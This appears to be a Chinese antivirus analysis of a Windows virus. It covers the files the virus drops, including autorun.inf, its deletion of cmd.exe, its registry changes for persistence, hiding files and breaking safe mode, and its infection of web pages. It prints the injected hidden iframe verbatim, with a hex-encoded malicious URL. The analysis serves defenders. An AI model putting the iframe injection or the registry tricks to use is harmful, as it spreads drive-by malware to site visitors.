|
本地行为：
1、文件运行后会释放以下文件:
%HomeDrive%\net.exe 9,829 字节
%HomeDrive%\autorun.inf 216 字节
%DriveLetter%\net.exe 9,829 字节
%DriveLetter%\autorun.inf 216 字节
%System32%\exloroe.com 9,829 字节
%System32%\dllcadhe\lsoss.exe 9,829 字节
2、删除%System32%目录下的cmd.exe和cmdl32.exe文件:
删除该文件使用户无法通过命令行查看系统中的文件、修改系统中文件的属性
等，同时删除注册表中进入MS-DOS模式相关项目。
3、感染.asp、.aspx、.htm、.html、.jsp、.php六类文件，在文件头部添加104个字节。
添加代码的内容：
<iframe src=http://%77%77%77%2E%31%35%38%64%6D%2E%63%6E
/%61%31%2E%68%74%6D width=0 height=0></iframe>
网页地址用16进制ASCII码加密，解密后地址为：
http://www.15***.cn/a1.htm
分析时该网页地址已经被清除。
4、弹出的网页地址为：http://www.15***.cn/bd.htm
5、新增注册表：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\Windows\CurrentVersion\Run]
注册表值: "exloroe"
类型： REG_SZ
值： "C:\WINDOWS\system32\exloroe.com"
描述：使病毒文件随计算机启动而运行。
[HKEY_CURRENT_USER\Software\Microsoft
\Windows\CurrentVersion\Policies
\Explorer\NoCommon Groups]
注册表值: "NoCommon Groups"
类型: DWORD
值: 1
描述: 删除Windows XP的“更新”选项。
[HKEY_CURRENT_USER\Software\Microsoft
\Windows\CurrentVersion\Policies
\WinOld-App\Disabled]
注册表值: "Disabled"
类型: DWORD
值: 1
描述: 禁止用户使用MS-DOS方式进入系统。
[HKEY_CURRENT_USER\Software\Microsoft
\Windows\CurrentVersion\Policies
\WinOld-App\Disabled]
注册表值: "NoRealMode"
类型: DWORD
值: 1
描述: 禁止用户使用“关闭系统”中的
“重新启动计算机并切换到MS-DOS方式”
[HKEY_CURRENT_USER\Software\Policies
\Microsoft\Internet Explorer\Restrictions]
注册表值: "NoBrowserOptions"
类型: REG_SZ
值: "1"
描述: 禁止使用Internet选项。
6、修改注册表：
[HKEY_CURRENT_USER\Software\Microsoft
\Windows\CurrentVersion\Explorer\Advanced]
新建键值: DWORD: "Hidden"="0"
原键值: DWORD: "Hidden"="1"
描述: 使资源管理器不显示具有隐藏属性的文件
[HKEY_CURRENT_USER\Software\Microsoft
\Windows\CurrentVersion\Explorer\Advanced]
新建键值: DWORD: "ShowSuperHidden"="0"
原键值: DWORD: "ShowSuperHidden"="1"
描述: 使资源管理器不显示具有系统属性的文件
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
\CurrentVersion\Explorer\Advanced\Folder
\Hidden\SHOWALL]
新建键值: 字符串: "CheckedValue"="1"
原键值: DWORD: "CheckedValue"="1"
描述: 使用户无法通过修改“文件夹选项”中的相关设置
来改变资源管理器中文件的显示方式。
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\Windows NT\CurrentVersion\Winlogon]
新建键值: 字符串: "System"="C:\WINDOWS\system32
\dllcache\lsoss.exe"
原键值: 字符串: "System"=""
描述: 使病毒文件lsoss.exe伴随系统启动。
7、删除注册表键值：
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes
\regfile\shell\open\command]
注册表值: "@"
类型: REG_SZ
值: "regedit.exe "%1""
描述：删除注册表文件（.reg）的文件关联
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\Windows\CurrentVersion\Run]
注册表值: "IMJPMIG8.1"
类型: 字符串
值: ""C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE"
/Spoil /RemAdvDef /Migration32"
描述：删除该注册表启动项，会因计算机安装软件不同而不同，
这里仅列出一项，病毒会删除该路径下的所有启动项。
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001
\Control\SafeBoot\Minimal
\{4D36E967-E325-11CE-BFC1-08002BE10318}]
注册表值: "@"
类型: 字符串
值: "DiskDrive"
描述：安全模式相关注册表项
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001
\Control\SafeBoot\Network
\{4D36E967-E325-11CE-BFC1-08002BE10318}]
注册表值: "@"
类型: 字符串
值: "DiskDrive"
描述：安全模式相关注册表项
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet
\Control\SafeBoot\Minimal
\{4D36E967-E325-11CE-BFC1-08002BE10318}]
注册表值: "@"
类型: 字符串
值: "DiskDrive"
描述：安全模式相关注册表项
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet
\Control\SafeBoot\Network
\{4D36E967-E325-11CE-BFC1-08002BE10318}]
注册表值: "@"
类型: 字符串
值: "DiskDrive"
描述：安全模式相关注册表项
网络行为:
协议：TCP
域名或IP地址：www.15***.cn/a1.htm（121.15.245.***）
端口：80
对目标主机的操作：
连接挂马网站，准备下载病毒文件，但已无法找到该页面。
注： %System32% 是一个可变路径。病毒通过查询操作系统来决定当前 System文件夹的
位置。
%Windir% WINDODWS所在目录
%DriveLetter% 逻辑驱动器根目录
%ProgramFiles% 系统程序默认安装目录
%HomeDrive% 当前启动的系统的所在分区
%Documents and Settings% 当前用户文档根目录
%Temp% \Documents and Settings
\当前用户\Local Settings\Temp
%System32% 系统的 System32文件夹
Windows2000/NT中默认的安装路径是C:\Winnt\System32
windows95/98/me中默认的安装路径是C:\Windows\System
windowsXP中默认的安装路径是C:\Windows\System32
|
病毒标签：
病毒上报信箱: